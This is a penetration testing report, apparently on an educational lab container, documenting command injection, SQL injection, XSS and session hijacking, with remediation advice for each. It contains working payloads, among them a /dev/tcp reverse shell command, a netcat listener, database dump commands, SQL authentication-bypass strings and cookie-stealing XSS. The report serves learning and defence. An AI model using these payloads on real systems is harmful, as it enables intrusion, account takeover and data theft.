Penetration Testing Report
Table of Contents
Executive Summary #
gabrielec/pt2021b
for educational purposes.The target was analyzed assuming it is a remote machine (black-box testing) and the attacks were conducted with the level of access that any web user would have.
A quick examination of the web application revealed login/signup pages, and a password-protected page with an input form to generate a discount.
In particular, the discount page was found to be vulnerable to a highly dangerous remote code injection vulnerability, which was used to obtain interactive access to the underlying operating system and dump all the database information, containing ids, usernames and passwords. The ids and passwords were hashed, but it was relatively easy to retrieve them in plain text since they were all very weak.
Both login and signup forms also ended up being vulnerable to SQL Injection, which can be exploited to bypass authentication and reveal sensitive data.
Further examination revealed the discount page also being vulnerable to cross-site scripting (XSS) vulnerability, both reflected and DOM based. These client-side vulnerabilities can both be exploited by an attacker, for example by loading a malicious script into the victim’s browser or by changing the page’s contents.
Lastly, the server-side handling of authentication sessions was found to be very weak, as it resulted being vulnerable to session hijacking, which can be used by an attacker to gain untrusted authorization.
Methodology used #
The assessment was conducted in accordance with the recommendations outlined in OWASP Web Application Security Testing Checklist, in particular:
- Information Gathering
- Manually explore the site
- Spider/crawl for missed or hidden content
- Identify technologies used
- Identify application entry points
- Network Scanning
- Identify all hostnames and ports
- Manual Vulnerability Assessment
- Authentication
- Test for authentication bypass
- Test for session hijacking
- Data Validation
- Test for Reflected/Stored/DOM-based Cross Site Scripting
- Test for SQL Injection
- Test for Code Injection
- Authentication
- Exploitation
- Post-Exploitation
Findings #
For the purpose of this assessment, the Docker container was run on a dedicated Linux machine and was made available on the subnet with local IP 192.168.1.161
, using the command docker run —-rm gabriele/pt2021b
:
In an attempt to identify the potential attack surface, the open ports exposed by the container were inspected using the command docker ps
.
As it turns out, the only service running is HTTP on port 80:
The webserver was found to be running an Apache/2.4.38 web server on port 80 and powered by PHP 7.2.34. This information was obtained using banner grabbing techniques, in particular by using the telnet
TCP protocol to request page headers through the HEAD
HTTP method:
The web application was then manually explored using a web browser, to gather all possible vulnerable entry points. Here’s how the index page looks like:
This index page quickly revealed two more URLs:
- A login page, accessible at
192.168.1.161/login.php
- A signup page, accessible at
192.168.1.161/signup.php
Both web pages have input fields prompting for a username and a password.
After signing up with a dummy account, two more URLs were revealed:
- A welcome page, login protected, showing a logout button and accessible
at
192.168.1.161/welcome.php
- A page to generate discount codes, login protected, showing an input field
and accessible at
192.168.1.161/check.php
Below are all the findings that were gathered, ordered by risk level (priority). All vulnerabilities include a detailed description, instructions and evidences for replicating the attacks (such as code snippets and screenshots) and a remediation plan with suggestions to improve security.
Remote Command Execution in discount page #
Priority: Very High
The input field in discount page is tainted, and it forwards the input, without proper sanitization, to an API call (most likely PHP’s shell_exec
) in order to execute some command via shell.
Proof of concept #
By using x | id
as input, the server returns the current user/group ids of the server (www-data
).
Even though the server appears to be blacklisting certain command chaining characters (&&
and ;
), other alternatives are still allowed: the pipe command (|
), the background command (&
) and the OR command (||
). This is a very severe vulnerability as it allows the attacker to execute commands remotely on the server.
Exploitation #
There are many ways this vulnerability can be exploited by an attacker.
- Listing server files
By combining the pipe
command with the ls
command, we can list all PHP files that are in the /var/www/html
directory:
This reveals some sort of secret file named 213c06c51ed7df6f08e02866c7758cb8.php
which appears to be the PHPinfo page, disclosing a large amount of information (PHP version, server information, configuration settings, environment variables…). For example, we now know that MySQL version is 5.0.12
.
- Disclosing database configuration
The config.php
listed above is typically used to store sensitive variables, such as database usernames and password. By using the cat
command in combination with sed
(to strip PHP tag, in order to avoid the browser interpreting the code as PHP), we are able to output the contents of this file in the web page:
Command used: x | cat config.php | sed 's/<?php//g'
This reveals a lot of sensitive information that will be used at a later stage:
- The database is MySQL and running on the same server (
127.0.0.1
) - Database username is
admin
- Database password is
dbpassword
- Database name is
citizens
- Reverse shell binding
It was easy to gain persistence using reverse shell binding. A bind shell is set up on the target host and binds to a specific port to listens for an incoming connection from the attack box. The steps are:
- Set up a Netcat listener on the attacker host on a certain port:
nc -nvlp <PORT>
- Connect to our host from the target host on the same port:
a | /bin/bash -c 'bash -i > /dev/tcp/<IP>/<PORT> 0>&1'
- Wait until the connection is established, and then issue commands on the target host from the attacker host:
Post-Exploitation: Data Collection #
Having a remote shell working, and knowing the database credentials, the mysql
command line tool can be remotely used to connect to the database that is running on port 3306
and exfiltrate data:
In particular the following commands were used:
mysql -u admin -pdbpassword -h 127.0.0.1 citizens -e "show tables;”
to show all tables in database citizensmysql -u admin -pdbpassword -h 127.0.0.1 citizens -e "select * from users;”
to enumerate all rows in table users
The table users
consists in three columns (id, username, password). The extracted content is also reported below:
id | username | password |
---|---|---|
a87ff679a2f3e71d9181a67b7542122c | tonfana | 1d12c29d7fecc9b97d3be41786d5f5bf |
c4ca4238a0b923820dcc509a6f75849b | orici | 2d61bfbcb50d147b98b46529894646f2 |
c81e728d9d4c2f636f067f89cc14862c | ducale | a5e9f44808f542c116c41af5b48fb0db |
e4da3b7fbbce2345d7772b0674a318d5 | allegra | 3e3694da029d88178b66e78677446bf0 |
eccbc87e4b5ce2fe28308fd9f2a7baf3 | tito | 124580a65148a50fab435f23b18c6026 |
Both usernames and password are 32-characters strings, which strongly suggests that a 128-bit hashing algorithm was applied to the original words, such as MD5. This algorithm in general is not reversible, but the original word can be found if it’s weak enough. Using various online resources that provide md5 hash reverse search (such as md5online and cmd5), it’s easy to decrypt both ids and passwords:
id | username | password |
---|---|---|
1 | orici | copycat |
2 | ducale | firethrower |
3 | tito | nylon |
4 | tonfana | RedAlert |
5 | allegra | 2vs1 |
The data was confirmed to be valid by logging in with any username:password pair that was found.
Remediation and suggestions #
Due to the high potential impact of this vulnerability, it should be fixed as soon as possible. The fix consists in properly sanitizing user input in the discount field page:
- Blacklist all command chaining characters, such as
|
,||
and&
- Even better, consider using PHP built-in function
escapeshellarg
to correctly escape the string to be used as a single shell argument.
Some other security recommendations:
- Remove all pages that call
phpinfo()
from the web server - Use stronger passwords that are more difficult to crack (or suggest the users to do so). This includes a minimum character count, with uppercase letters, special characters and so on.
- Instead of plain MD5, considering using a random salt combined with better hashing algorithms such as bcrypt or scrypt.
SQL Injection in login/signup page #
Priority: High
The login page was found to be vulnerable to SQL injection. Successful exploitation of this vulnerability results in authentication bypass and gathering sensitive information from the database.
Proof of concept #
Using a sleep
SQL command as the username and any non-empty string as password results in the web page halting for 3 seconds.
Command used: ' OR SLEEP(3)#
. The same behavior can be observed in the signup page.
Exploitation: authentication bypass #
Using this vulnerability, the login page can be easily bypassed by injecting a custom payload in the username field, for example:
' OR True LIMIT 1#
to bypass the login page (theLIMIT 1
is required because there seems to be a check on the number of rows returned from the query)
<EXISTING_USERNAME>'#
to login as any existing user
Further exploitation can be carried through Blind SQL injection. When no data is printed, any observable behavior (side effect) can be used to infer it. The first step in blind SQL is to identify a baseline that provides a ground truth intepretation of queries. In this way any arbitrary expression can be submitted to the database to check whether it evaluates to true or false. For example:
' OR True LIMIT 1#
logs the user in and redirects to the welcome page' OR False LIMIT 1#
outputs an error (Username or password incorrect, try again
)
This means true
or false
have different side effects. Now true/false can be replaced with a complex expression in order to evaluate it. For example, to check if a certain table exists:
' OR EXISTS(SELECT * FROM information_schema.tables where table_name LIKE 'users') LIMIT 1;#
If we get redirected to the welcome page (and we do), then we know the table users
exists; on the other hand, if we get the incorrect username error, we know for sure the table doesn’t exist.
LIKE
was used because the =
symbol appears to be blacklisted by the server.This technique can also be used to implement binary search and can lead to disclosing sensitive information from the database.
Remediation and suggestions #
The SQL injection in login and signup page can be easily fixed by enforcing input sanitization. There are two options:
- Escaping the special characters in user input (blacklisting some characters is not enough), in particular by using PHP’s built-in function called mysql_real_escape_string
- Using a parameterized query, by leveraging MySQLi’s prepare statements
Cross-site scripting (XSS) in discount page #
Priority: Medium
As we have already seen, the input field in discount page is tainted. An attacker can use this field to execute malicious scripts directly in the victim’s web browser. There are two types of XSS vulnerabilities present in this web page:
- Reflected/Non-persistent cross-site scripting
- DOM Based cross-site scripting
Reflected XSS #
The reflected XSS condition is met when a website employs user input in HTML pages returned to the user’s browser, without first validating the input.
Proof of concept #
By using a payload such as x | echo pt2021b
we see that the text pt2021b
is displayed in the web page’s HTML, without any sanitization. This is called reflected cross-site scripting (as opposed to the stored/persistent variant, where the server stores user input and later unsafely serves it to other users).
This vulnerability is particularly dangerous since an attacker can use it to load a malicious script. For example one can include any JavaScript code:
x | echo "<script>alert('xss')</script>"
And it will be executed right in the victim’s browser:
Remediation and suggestions #
User input should always be validated by the server. In this case, there are a few options:
- Blacklist
<script></script>
(case insensitive) tags to prevent JavaScript injection - Consider using PHP’s built in htmlentities or htmlspecialchars functions to convert any HTML tag into their encoding, meaning they won’t be processed as standard HTML
- Make use of PHP filters to sanitize and validate input (for example, if the receipt number is only made of digits)
DOM Based XSS #
DOM Based XSS is an XSS attack where the payload is executed as a result of modifying the Document Object Model (DOM) environment in the victim’s browser. This is different than reflected XSS, because the attack is injected into the application in the client directly, as opposed to the result of a server- side processing of the request.
Proof of concept #
By using the following payload:
"/><b>pt2021b</b><!
in the input field, we see a new <b>
tag is added to the page’s HTML with the
specified text (by overflowing the value
attributed of the <input>
tag):
This vulnerability can be exploited in many ways. For example:
"/onclick=alert()//
will display the alert (or any other potentially malicious logic) on every click of the input field"/><img src=x onerror="alert()//
will show the popup as soon as the field is submitted, by embedding an image with a fake url and displaying the alert in theonerror
callback"/><svg onload=alert()//
will also show show the alert as soon as the field is submitted, by leveragingsvg
’sonload
callback"/><script>alert()</script//
will embed the<script>
tag directly into the victim’s browser
Remediation and suggestions #
The user input should be sanitized on the server-side, and should never be echoed directly in the DOM. The same suggestions made for reflected XSS also apply in this context.
PHP Session Hijacking #
Priority: Medium
Session hijacking is an attack where an attacker steals the victim’s session cookie and uses it for their own browser session. The server is then fooled into treating the attacker’s connection as the original user’s valid session.
Proof of concept #
Steps to reproduce:
- Log in as a regular user and extract the session id (named
PHPSESSID
) from the browser’s cookies:
- From a different window/browser/machine, log in as another user (this will result in having a different session id):
- From this browser’s storage panel, replace the
PHPSESSID
with the previously extracted one, and refresh the page; you will now be regularly logged in as the victim:
Note that the session identifier could also be obtained by using the previously mentioned XSS vulnerability in the discount page, using a payload such as:
"/><script>alert(document.cookie)</script//
Remediation and suggestions #
To protect against session hijacking, consider more elaborate ways to identify the user against a session. For example, there could be an additional check for the user agent, IP address or using another cookie.
Conclusion #
The overall risk identified to the gabrielec/pt2021b
Docker container, as a result of the penetration testing acitivities described above, is very high. An external attacker is able to take over the system and exfiltrate sensitive data, such as all the database information, containing ids, usernames and passwords.
It is reasonable to believe that a malicious entity would also be able to successfully bypass the authentication and login as any existing user. Through more elaborate steps, victims can also be targeted by client-side attacks.